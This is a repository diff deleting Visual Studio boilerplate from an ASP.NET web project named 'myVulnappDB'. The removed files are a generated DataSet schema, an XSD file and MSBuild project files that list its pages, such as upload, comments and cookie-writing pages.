||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Data.Design.TypedDataSetGenerator", "4.0.0.0")]
|
||||
public static global::System.Xml.Schema.XmlSchemaComplexType GetTypedDataSetSchema(global::System.Xml.Schema.XmlSchemaSet xs) {
|
||||
myVulnappDBDataSet ds = new myVulnappDBDataSet();
|
||||
global::System.Xml.Schema.XmlSchemaComplexType type = new global::System.Xml.Schema.XmlSchemaComplexType();
|
||||
global::System.Xml.Schema.XmlSchemaSequence sequence = new global::System.Xml.Schema.XmlSchemaSequence();
|
||||
global::System.Xml.Schema.XmlSchemaAny any = new global::System.Xml.Schema.XmlSchemaAny();
|
||||
any.Namespace = ds.Namespace;
|
||||
sequence.Items.Add(any);
|
||||
type.Particle = sequence;
|
||||
global::System.Xml.Schema.XmlSchema dsSchema = ds.GetSchemaSerializable();
|
||||
if (xs.Contains(dsSchema.TargetNamespace)) {
|
||||
global::System.IO.MemoryStream s1 = new global::System.IO.MemoryStream();
|
||||
global::System.IO.MemoryStream s2 = new global::System.IO.MemoryStream();
|
||||
try {
|
||||
global::System.Xml.Schema.XmlSchema schema = null;
|
||||
dsSchema.Write(s1);
|
||||
for (global::System.Collections.IEnumerator schemas = xs.Schemas(dsSchema.TargetNamespace).GetEnumerator(); schemas.MoveNext(); ) {
|
||||
schema = ((global::System.Xml.Schema.XmlSchema)(schemas.Current));
|
||||
s2.SetLength(0);
|
||||
schema.Write(s2);
|
||||
if ((s1.Length == s2.Length)) {
|
||||
s1.Position = 0;
|
||||
s2.Position = 0;
|
||||
for (; ((s1.Position != s1.Length)
|
||||
&& (s1.ReadByte() == s2.ReadByte())); ) {
|
||||
;
|
||||
}
|
||||
if ((s1.Position == s1.Length)) {
|
||||
return type;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
finally {
|
||||
if ((s1 != null)) {
|
||||
s1.Close();
|
||||
}
|
||||
if ((s2 != null)) {
|
||||
s2.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
xs.Add(dsSchema);
|
||||
return type;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#pragma warning restore 1591
|
@ -1,3 +0,0 @@
|
||||
namespace myWebApplication
|
||||
{
|
||||
}
|
@ -1 +0,0 @@
|
||||
|
@ -1,19 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema id="myVulnappDBDataSet" targetNamespace="http://tempuri.org/myVulnappDBDataSet.xsd" xmlns:mstns="http://tempuri.org/myVulnappDBDataSet.xsd" xmlns="http://tempuri.org/myVulnappDBDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified">
|
||||
<xs:annotation>
|
||||
<xs:appinfo source="urn:schemas-microsoft-com:xml-msdatasource">
|
||||
<DataSource DefaultConnectionIndex="0" FunctionsComponentName="QueriesTableAdapter" Modifier="AutoLayout, AnsiClass, Class, Public" SchemaSerializationMode="IncludeSchema" xmlns="urn:schemas-microsoft-com:xml-msdatasource">
|
||||
<Connections>
|
||||
<Connection AppSettingsObjectName="Web.config" AppSettingsPropertyName="myVulnappDBConnectionString" ConnectionStringObject="" IsAppSettingsProperty="true" Modifier="Assembly" Name="myVulnappDBConnectionString (Web.config)" ParameterPrefix="@" PropertyReference="AppConfig.System.Configuration.ConfigurationManager.0.ConnectionStrings.myVulnappDBConnectionString.ConnectionString" Provider="System.Data.SqlClient" />
|
||||
</Connections>
|
||||
<Tables />
|
||||
<Sources />
|
||||
</DataSource>
|
||||
</xs:appinfo>
|
||||
</xs:annotation>
|
||||
<xs:element name="myVulnappDBDataSet" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" msprop:EnableTableAdapterManager="True" msprop:Generator_DataSetName="myVulnappDBDataSet" msprop:Generator_UserDSName="myVulnappDBDataSet">
|
||||
<xs:complexType>
|
||||
<xs:choice minOccurs="0" maxOccurs="unbounded" />
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
@ -1 +0,0 @@
|
||||
|
@ -1,232 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>
|
||||
</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{C377A2FC-A352-4FA1-9994-906E3EAA132C}</ProjectGuid>
|
||||
<ProjectTypeGuids>{349c5851-65df-11da-9384-00065b846f21};{fae04ec0-301f-11d3-bf4b-00c04f79efbc}</ProjectTypeGuids>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>myWebApplication</RootNamespace>
|
||||
<AssemblyName>myWebApplication</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<UseIISExpress>false</UseIISExpress>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="System.Web.Extensions" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Web" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Configuration" />
|
||||
<Reference Include="System.Web.Services" />
|
||||
<Reference Include="System.EnterpriseServices" />
|
||||
<Reference Include="System.Web.DynamicData" />
|
||||
<Reference Include="System.Web.Entity" />
|
||||
<Reference Include="System.Web.ApplicationServices" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="Account\ChangePassword.aspx" />
|
||||
<Content Include="Account\ChangePasswordSuccess.aspx" />
|
||||
<Content Include="Account\Login.aspx" />
|
||||
<Content Include="Account\Register.aspx" />
|
||||
<Content Include="Buyform.ascx" />
|
||||
<Content Include="default.aspx" />
|
||||
<Content Include="Feedback.aspx" />
|
||||
<Content Include="login.aspx" />
|
||||
<Content Include="Styles\Site.css" />
|
||||
<Content Include="Global.asax" />
|
||||
<Content Include="Scripts\jquery-1.4.1-vsdoc.js" />
|
||||
<Content Include="Scripts\jquery-1.4.1.js" />
|
||||
<Content Include="Scripts\jquery-1.4.1.min.js" />
|
||||
<Content Include="Thankyou.ascx" />
|
||||
<Content Include="Uploadfile.ascx" />
|
||||
<Content Include="ViewComments.ascx" />
|
||||
<Content Include="Web.config">
|
||||
<SubType>Designer</SubType>
|
||||
</Content>
|
||||
<Content Include="Web.Debug.config">
|
||||
<DependentUpon>Web.config</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</Content>
|
||||
<Content Include="Web.Release.config">
|
||||
<DependentUpon>Web.config</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</Content>
|
||||
<Content Include="WriteCookie.aspx" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Account\ChangePassword.aspx.cs">
|
||||
<DependentUpon>ChangePassword.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Account\ChangePassword.aspx.designer.cs">
|
||||
<DependentUpon>ChangePassword.aspx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Account\ChangePasswordSuccess.aspx.cs">
|
||||
<DependentUpon>ChangePasswordSuccess.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Account\ChangePasswordSuccess.aspx.designer.cs">
|
||||
<DependentUpon>ChangePasswordSuccess.aspx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Account\Login.aspx.cs">
|
||||
<DependentUpon>Login.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Account\Login.aspx.designer.cs">
|
||||
<DependentUpon>Login.aspx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Account\Register.aspx.cs">
|
||||
<DependentUpon>Register.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Account\Register.aspx.designer.cs">
|
||||
<DependentUpon>Register.aspx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Buyform.ascx.cs">
|
||||
<DependentUpon>Buyform.ascx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Buyform.ascx.designer.cs">
|
||||
<DependentUpon>Buyform.ascx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="default.aspx.cs">
|
||||
<DependentUpon>default.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="default.aspx.designer.cs">
|
||||
<DependentUpon>default.aspx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Feedback.aspx.cs">
|
||||
<DependentUpon>Feedback.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Feedback.aspx.designer.cs">
|
||||
<DependentUpon>Feedback.aspx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Global.asax.cs">
|
||||
<DependentUpon>Global.asax</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Helpers.cs" />
|
||||
<Compile Include="login.aspx.cs">
|
||||
<DependentUpon>login.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="login.aspx.designer.cs">
|
||||
<DependentUpon>login.aspx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="myVulnappDBDataSet.cs">
|
||||
<DependentUpon>myVulnappDBDataSet.xsd</DependentUpon>
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="myVulnappDBDataSet.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>myVulnappDBDataSet.xsd</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="SQLaccess.cs" />
|
||||
<Compile Include="Thankyou.ascx.cs">
|
||||
<DependentUpon>Thankyou.ascx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Thankyou.ascx.designer.cs">
|
||||
<DependentUpon>Thankyou.ascx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Uploadfile.ascx.cs">
|
||||
<DependentUpon>Uploadfile.ascx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Uploadfile.ascx.designer.cs">
|
||||
<DependentUpon>Uploadfile.ascx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="ViewComments.ascx.cs">
|
||||
<DependentUpon>ViewComments.ascx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="ViewComments.ascx.designer.cs">
|
||||
<DependentUpon>ViewComments.ascx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="WriteCookie.aspx.cs">
|
||||
<DependentUpon>WriteCookie.aspx</DependentUpon>
|
||||
<SubType>ASPXCodeBehind</SubType>
|
||||
</Compile>
|
||||
<Compile Include="WriteCookie.aspx.designer.cs">
|
||||
<DependentUpon>WriteCookie.aspx</DependentUpon>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Folder Include="App_Data\" />
|
||||
<Folder Include="images\" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="Account\Web.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="myVulnappDBDataSet.xsc">
|
||||
<DependentUpon>myVulnappDBDataSet.xsd</DependentUpon>
|
||||
</None>
|
||||
<None Include="myVulnappDBDataSet.xsd">
|
||||
<Generator>MSDataSetGenerator</Generator>
|
||||
<LastGenOutput>myVulnappDBDataSet.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</None>
|
||||
<None Include="myVulnappDBDataSet.xss">
|
||||
<DependentUpon>myVulnappDBDataSet.xsd</DependentUpon>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v10.0\WebApplications\Microsoft.WebApplication.targets" />
|
||||
<ProjectExtensions>
|
||||
<VisualStudio>
|
||||
<FlavorProperties GUID="{349c5851-65df-11da-9384-00065b846f21}">
|
||||
<WebProjectProperties>
|
||||
<UseIIS>False</UseIIS>
|
||||
<AutoAssignPort>True</AutoAssignPort>
|
||||
<DevelopmentServerPort>49834</DevelopmentServerPort>
|
||||
<DevelopmentServerVPath>/</DevelopmentServerVPath>
|
||||
<IISUrl>
|
||||
</IISUrl>
|
||||
<NTLMAuthentication>False</NTLMAuthentication>
|
||||
<UseCustomServer>False</UseCustomServer>
|
||||
<CustomServerUrl>
|
||||
</CustomServerUrl>
|
||||
<SaveServerSettingsInUserFile>False</SaveServerSettingsInUserFile>
|
||||
</WebProjectProperties>
|
||||
</FlavorProperties>
|
||||
</VisualStudio>
|
||||
</ProjectExtensions>
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
@ -1,30 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<ProjectView>ShowAllFiles</ProjectView>
|
||||
</PropertyGroup>
|
||||
<ProjectExtensions>
|
||||
<VisualStudio>
|
||||
<FlavorProperties GUID="{349c5851-65df-11da-9384-00065b846f21}">
|
||||
<WebProjectProperties>
|
||||
<StartPageUrl>login.aspx</StartPageUrl>
|
||||
<StartAction>SpecificPage</StartAction>
|
||||
<AspNetDebugging>True</AspNetDebugging>
|
||||
<SilverlightDebugging>False</SilverlightDebugging>
|
||||
<NativeDebugging>False</NativeDebugging>
|
||||
<SQLDebugging>False</SQLDebugging>
|
||||
<ExternalProgram>
|
||||
</ExternalProgram>
|
||||
<StartExternalURL>
|
||||
</StartExternalURL>
|
||||
<StartCmdLineArguments>
|
||||
</StartCmdLineArguments>
|
||||
<StartWorkingDirectory>
|
||||
</StartWorkingDirectory>
|
||||
<EnableENC>False</EnableENC>
|
||||
<AlwaysStartWebServerOnDebug>True</AlwaysStartWebServerOnDebug>
|
||||
</WebProjectProperties>
|
||||
</FlavorProperties>
|
||||
</VisualStudio>
|
||||
</ProjectExtensions>
|
||||
</Project>
|
Reference in New Issue
Block a user